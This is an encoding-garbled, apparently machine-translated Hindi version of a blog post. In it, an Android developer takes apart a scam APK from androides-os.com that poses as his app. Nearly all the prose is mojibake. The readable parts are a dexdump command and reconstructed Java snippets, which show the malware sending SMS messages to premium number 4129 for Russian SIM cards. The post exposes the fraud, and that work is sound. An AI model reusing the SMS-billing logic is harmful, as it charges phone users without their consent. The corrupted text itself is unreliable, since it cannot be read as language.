рдПрдВрдбреНрд░реЙрдЗрдб рд╕реНрдХреИрдо рдРрдкреНрд╕ред рджреБрд╢реНрдорди рдХреЛ рдЙрдард╛рдХрд░

рдореИрдВ рдПрдХ рдПрдВрдбреНрд░реЙрдЗрдб рдРрдк рдбреЗрд╡рд▓рдкрд░ рд╣реВрдВ рдФрд░ рдореИрдВ Google рд╕рджрд╕реНрдпрддрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдирд╡реАрдирддрдо рд▓рд┐рдВрдХ рдХрд╛ рдЕрдиреБрд╕рд░рдг рдХрд░ рд░рд╣рд╛ рд╣реВрдВред рдЖрдЬ рд╕реБрдмрд╣, рдореБрдЭреЗ рдЦреБрд╢реА рд╕реЗ рдмреЙрдХреНрд╕ рдореЗрдВ рдПрдХ рдкрддреНрд░ рдорд┐рд▓рд╛ рдЬрд┐рд╕рдореЗрдВ рдореЗрд░реЗ рдЖрд╡реЗрджрди рдХрд╛ рдПрдХ рдирдпрд╛ рд▓рд┐рдВрдХ рдерд╛ред рд╕рдм рдХреБрдЫ рдмрд╣реБрдд рдЕрдЪреНрдЫрд╛ рд╣реИ! рдФрд░ рд╕рдореАрдХреНрд╖рд╛ рд╕рдХрд╛рд░рд╛рддреНрдордХ рд╣реИ, рдФрд░ рдбрд╛рдЙрдирд▓реЛрдб рдХреА рд╕рдВрдЦреНрдпрд╛ 0 рд╕реЗ рднрд┐рдиреНрди рд╣реИ, рд▓реЗрдХрд┐рди рдХрд┐рд╕реА рдХрд╛рд░рдг рдХреЗ рд▓рд┐рдП рд╕рдВрд╕реНрдХрд░рдг рдкреБрд░рд╛рдирд╛ рд╣реИ рдФрд░ ... рдПрдкреАрдХреЗ рдХрд╛ рдЖрдХрд╛рд░ рдореВрд▓ ~ 200K рдХреЗ рдореБрдХрд╛рдмрд▓реЗ 3 рдореЗрдЧрд╛рдмрд╛рдЗрдЯ рдЬрд┐рддрдирд╛ рд╣реИ

рдПрдкреАрдХреЗ рдХреЛ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдиреЗ рдФрд░ рдЕрдирдкреИрдХ рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж (рдпрд╛рдж рд░рдЦреЗрдВ рдХрд┐ рдПрдкреАрдХреЗ рд╕рд┐рд░реНрдл рдПрдХ рдЬрд╝рд┐рдк рд╕рдВрдЧреНрд░рд╣ рд╣реИ), рдЗрд╕рдиреЗ Fryazino рдХреЗ рдПрдХ рдЧрд╡рд╛рд╣ рдФрд░ "рдЖрд╡реЗрджрди" рдХреЗ рд╕рд╛рде 153 рдкреАрдПрдирдЬреА рдлрд╛рдЗрд▓реЛрдВ (.temp рдореЗрдВ рдХрд┐рд╕реА рдХрд╛рд░рдг рдХреЗ рд▓рд┐рдП рдмрджрд▓рд╛ рдЧрдпрд╛) рдХрд╛ рдПрдХ "рднрд░рд╛рдИ" рджрд┐рдЦрд╛рдпрд╛ред

рдЬреИрд╕рд╛ рдХрд┐ рдЕрдкреЗрдХреНрд╖рд┐рдд рдерд╛, рдореВрд▓ рдЖрд╡реЗрджрди рдореЗрдВ рдХреБрдЫ рднреА рдирд╣реАрдВ рдмрдЪрд╛ рдерд╛ред рди рдЖрдЗрдХрди, рди рд╣реА, рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдХреЛрдбред рдФрд░ рдЖрдЧреЗ рдХреА рдкрд░реАрдХреНрд╖рд╛ рдкрд░ (рдРрд╕рд╛ рд▓рдЧрддрд╛ рд╣реИ рдХрд┐) androides-os.com рдкрд░ рд╕рднреА рдлрд╛рдЗрд▓реЗрдВ рдПрдХ рдФрд░ рдПрдХ рд╣реА рдХрд╛рд░реНрдпрдХреНрд░рдо рд╣реИрдВ! рдореИрдВрдиреЗ рд╡рд┐рднрд┐рдиреНрди рд╡рд░реНрдЧреЛрдВ рд╕реЗ рдХрдИ рдЕрд▓рдЧ-рдЕрд▓рдЧ рдХрд╛рд░реНрдпрдХреНрд░рдо рдбрд╛рдЙрдирд▓реЛрдб рдХрд┐рдП рдФрд░ рд╡реЗ рд╕рднреА рдПрдХ рд╣реА рдЖрдХрд╛рд░ рдХреЗ рдФрд░ рдПрдХ рд╣реА рд╕рд╛рдордЧреНрд░реА рдХреЗ рд╕рд╛рде рдереЗ!

рдЕрдВрджрд░, рдХреБрдЫ рдРрд╕рд╛ рдерд╛, рдЬреЛ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЗ рддреНрд╡рд░рд┐рдд рд╡рд┐рд╢реНрд▓реЗрд╖рдг рдХреЗ рдЕрдиреБрд╕рд╛рд░, рдПрд╕рдПрдордПрд╕ рднреЗрдЬрдХрд░ рд╕рдХреНрд░рд┐рдпрдг рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рдПрдХ рдЖрд╡реЗрджрди рдирд┐рдХрд▓рд╛ред рдЖрдЗрдП рдЬрд╛рдирдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддреЗ рд╣реИрдВ рдХрд┐ рдХрд╣рд╛рдВ рдФрд░ рдХреНрдпрд╛ рдЬрд╛рддрд╛ рд╣реИ ...



рд╣рдореЗрдВ рдПрдкреАрдХреЗ рд╕реЗ рд╢реБрджреНрдз рдЬрд╛рд╡рд╛ рдХреЛрдб рдирд╣реАрдВ рдорд┐рд▓ рд╕рдХрддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдЖрдк VM Dalvik рд╕реЗ рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХрд╛ рдПрдХ рд╕реЗрдЯ рдкреНрд░рд╛рдкреНрдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдЬреЛ рдЕрддрд┐рд░рд┐рдХреНрдд рд╕реЙрдлреНрдЯрд╡реЗрдпрд░ рдХреЗ рдмрд┐рдирд╛ рдЖрдВрдЦреЛрдВ рджреНрд╡рд╛рд░рд╛ рдкреВрд░реА рддрд░рд╣ рд╕реЗ рдкрдардиреАрдп рд╣реИред рдПрдВрдбреНрд░реЙрдЗрдб рдПрд╕рдбреАрдХреЗ рд╕реЗ рдбреЗрдХреНрд╕рдбрдВрдк рдЙрдкрдпреЛрдЧрд┐рддрд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП, рд╣рдо рдПрдХ рдлрд╛рдЗрд▓ рдореЗрдВ Dalvik рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреЗ рд╕реЗрдЯ рдХреЛ рдбрдВрдк рдХрд░рддреЗ рд╣реИрдВ ...

dexdump -d -f -h classes.dex > dump.dump 


рдЪреВрдВрдХрд┐ рдпрд╣ рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдПрд╕рдПрдордПрд╕ рднреЗрдЬ рд░рд╣рд╛ рд╣реИ, рдЖрдЗрдП рд╕реНрдЯреНрд░рд┐рдВрдЧ " sendTextMessage " рдХреЗ рд▓рд┐рдП рдбрдВрдк рдореЗрдВ рджреЗрдЦреЗрдВ - рдпрд╣ рдкрд╛рда рд╕рдВрджреЗрд╢ рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдПрд╕рдбреАрдХреЗ рдлрд╝рдВрдХреНрд╢рди рд╣реИред рдЦреЛрдЬ рд╕рдлрд▓ рд╣реИ, рд╕рдХреНрд░рд┐рдп () рд╡рд┐рдзрд┐ рдореЗрдВ рдПрдХ рдШрдЯрдирд╛ рд╣реИ

рд╕рдВрдХреНрд╖реЗрдк рдореЗрдВ, рд╡рд┐рдзрд┐ рдХрд╛ рдореБрдЦреНрдп рд╡рд┐рд╡рд░рдг (рдореИрдиреНрдпреБрдЕрд▓ рд░реВрдк рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ)
  // private HashMap<String, ActivationScheme> activationSchemes; // private static String CURRENT_ACTIVATION_SCHEME = "1"; ActivationScheme o = activationSchemes.get(CURRENT_ACTIVATION_SCHEME); ArrayList<Pair<String, String>> l = o.list; // first -    // second -  ? for(Pair o2: l) { StringBuilder b; String sec = String.valueOf(o2.second); // WTF??? b = new StringBuilder(sec); b.append("+"); String s3 = schemes.get("2"); // private HashMap<String, String> schemes; b.append(s3); String result = b.toString(); // "pair.second"+schemes[2] String frst = o2.first; // v1 // mgr == TelephonyManager mgr.sendTextMessage(frst, null, result, /* PendingIntent.getBroadcast(...) */, null); } 


рдпрд╛рдиреА "рд╕рдХреНрд░рд┐рдпрдг рдпреЛрдЬрдирд╛рдУрдВ" рдХрд╛ рдПрдХ рдирд┐рд╢реНрдЪрд┐рдд рд╕реЗрдЯ рд╣реИ рдЬрд┐рд╕рдореЗрдВ рд▓рд╛рдЗрдиреЛрдВ рдХреЗ рдЬреЛрдбрд╝реЗ рдХреА рдПрдХ рд╕реВрдЪреА рд╢рд╛рдорд┐рд▓ рд╣реИ, рдЬрд┐рдирдореЗрдВ рд╕реЗ рдПрдХ рдПрд╕рдПрдордПрд╕ рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдВрдЦреНрдпрд╛ рд╣реИ, рдФрд░ рджреВрд╕рд░рд╛ - рдХреНрдпрд╛ рднреЗрдЬрдирд╛ рд╣реИред
рдЖрдЗрдП рд╕рдХреНрд░рд┐рдпрдг рдпреЛрдЬрдирд╛рдУрдВ рдХреЛ рдЦреЛрдЬрдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВ ... рдбрдВрдк рдореЗрдВ рдПрдХ initActivationSchemes рд╡рд┐рдзрд┐ рд╣реИ рдЬрд╣рд╛рдВ рдЖрдк рдЗрд╕ рдХреЛрдб рдХреЛ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ:

  ArrayList al = new ArrayList(); if("250".equals(currentMCC)) { // MCC == Mobile Country Code ArrayList<Pair<String, String>> aP = new ArrayList<Pair<String, String>>(); Pair<String, String> p = new Pair<String, String>("4129", "bb031"); aP.add(p); p = new Pair<String, String>("4129", "bb031"); aP.add(p); ActivationScheme sc = new ActivationScheme(aP); activationScheme.put(CURRENT_ACTIVATION_SCHEME, sc); } 


рдпрд╛рдиреА рд░реВрд╕ ( MCC == 250 ) рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рдХреНрд░рд┐рдпрдг рдпреЛрдЬрдирд╛ рджреЛ рдПрд╕рдПрдордПрд╕ 4129 рдирдВрдмрд░ рдкрд░ рднреЗрдЬрдиреЗ рд╕реЗ рдмрдирд╛рдИ рдЧрдИ рд╣реИ ... MCC 250 рдХреЗ рд╕рд╛рде рд╡рд┐рдзрд┐ рдореЗрдВ рдЕрдиреНрдп рджреЗрд╢ рдХреЛрдб рд╣реИрдВ, рдФрд░ рддрджрдиреБрд╕рд╛рд░, рдЙрдирдХреЗ рд▓рд┐рдП рд╕рдХреНрд░рд┐рдпрдг рдпреЛрдЬрдирд╛рдПрдВ рд╣реИрдВред рдкреНрд░рддреНрдпреЗрдХ рджреЗрд╢ рдХреЗ рд▓рд┐рдП, рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рднреБрдЧрддрд╛рди рд╕рдВрдЦреНрдпрд╛ рдХрд╛ рдЪрдпрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред

рдпрд╣рд╛рдВ рдХреБрдЫ рднреНрд░рдо рд╣реИред рдЗрд╕ рддрдереНрдп рдХреЗ рдмрд╛рд╡рдЬреВрдж рдХрд┐ 250 рд░реВрд╕ рд╣реИ, рдирдВрдмрд░ 4129 (рдХрдо рд╕реЗ рдХрдо рдЬрд╛рдирдХрд╛рд░реА рдореБрдЭреЗ рдорд┐рд▓ рд╕рдХрддреА рд╣реИ) рдпреВрдХреНрд░реЗрдиреА рдХреЗ рд░реВрдк рдореЗрдВ рдЕрдкрдирд╛ рд░рд╛рд╕реНрддрд╛ рдмрдирд╛рддреА рд╣реИред рд╢рд╛рдпрдж рдореИрдВрдиреЗ "рдЕрдкрдШрдЯрди" рдХреЗ рджреМрд░рд╛рди рдПрдХ рдЧрд▓рддреА рдХреА рдФрд░ рдЧрд▓рддреА рд╕реЗ "рдмреНрд▓реЙрдХ" рдпреВрдХреНрд░реЗрди рдХреЗ рд▓рд┐рдП рд░реВрд╕реА рдмреНрд▓реЙрдХ рдореЗрдВ рдХреЛрдб рд▓рд┐рдЦ рджрд┐рдпрд╛ ...

рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдЖрд╡реЗрджрди рдХреИрд╕рд╛ рджрд┐рдЦрддрд╛ рд╣реИ ...
рд╕реНрдерд╛рдкрд┐рдд рдпрд╣ рд╣реИ:


рд╕реНрдЯрд╛рд░реНрдЯрдЕрдк рдкрд░, рд╕рдм рдХреБрдЫ рдмрд╣реБрдд рд╕реАрдзрд╛ рд╣реИ:


рдпрд╣рд╛рдВ рддрдХ тАЛтАЛрдХрд┐ рдПрдХ "рдкреНрд░рд╕реНрддрд╛рд╡" рднреА рд╣реИ:


рд╡рд╣реА "рдСрдлрд╝рд░" рдпрд╣рд╛рдВ рдЙрдкрд▓рдмреНрдз рд▓рдЧрддрд╛ рд╣реИ: http://depositfmobi.ru/ofert
рдореИрдВ рдЖрд╡реЗрджрди рдкреИрдХреЗрдЬ рдХреЗ рдирд╛рдо рд╕реЗ рд╕рд╛рдЗрдЯ рдкрд░ рдЖрдпрд╛ рд╣реВрдВ: com.depositmobiред

рдХреНрдпрд╛ рджрд┐рд▓рдЪрд╕реНрдк рд╣реИ рдПрдХ рд╣реА рд╕рдордп рдореЗрдВ рдЬрдорд╛рдорд╛рдмреА рдФрд░ QIP.Files рдФрд░ Rapidshare рд╣реИ !

рдкрд░рд┐рдгрд╛рдо рдХреНрдпрд╛ рд╣реИ? рдзреЛрдЦрд╛рдзрдбрд╝реА рдХрд╛ рдПрдХ рдмрд╣реБрдд рд╣реА рд╕рд░рд▓ рддрд░реАрдХрд╛ рд╣реИред рд╣рдо рдПрдХ рд╡реЗрдмрд╕рд╛рдЗрдЯ рдмрдирд╛рддреЗ рд╣реИрдВ, рдЗрд╕рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рдХреАрд╡рд░реНрдб рдХреЗ рд╕рд╛рде рдПрд╕рдИрдУ рдкрдВрдк рдХрд░рддреЗ рд╣реИрдВ, рд╡рд╣рд╛рдВ рд╡рд┐рд╖рдпрдЧрдд рд╕рдорд╛рдЪрд╛рд░реЛрдВ рдХреЛ рдкрдВрдк рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рднреБрдЧрддрд╛рди рдХрд┐рдП рдЧрдП рдирдВрдмрд░реЛрдВ рдкрд░ рдПрд╕рдПрдордПрд╕ рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рд╕рдмрд╕реЗ рд╕рд░рд▓ рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЗ рд╕рд╛рде рдЗрд╕реЗ рднрд░рддреЗ рд╣реИрдВ, рдЗрд╕реЗ рдЕрдкрдиреЗ рдЧрдзреЗ рдХреЛ рдХрд╡рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП "рдСрдлрд╝рд░" рдХреЗ рд╕рд╛рде рдЖрдкреВрд░реНрддрд┐ рдХрд░рддреЗ рд╣реИрдВ ... рдХреНрдпрд╛ рдЗрд╕ рддрд░рд╣ рдХреЗ рд╣рд╛рд╕реНрдп рдХреЗ рд╕рд╛рде рдХреБрдЫ рднреА рдХрд╛рдиреВрдиреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИ?

Source: https://habr.com/ru/post/In129138/


All Articles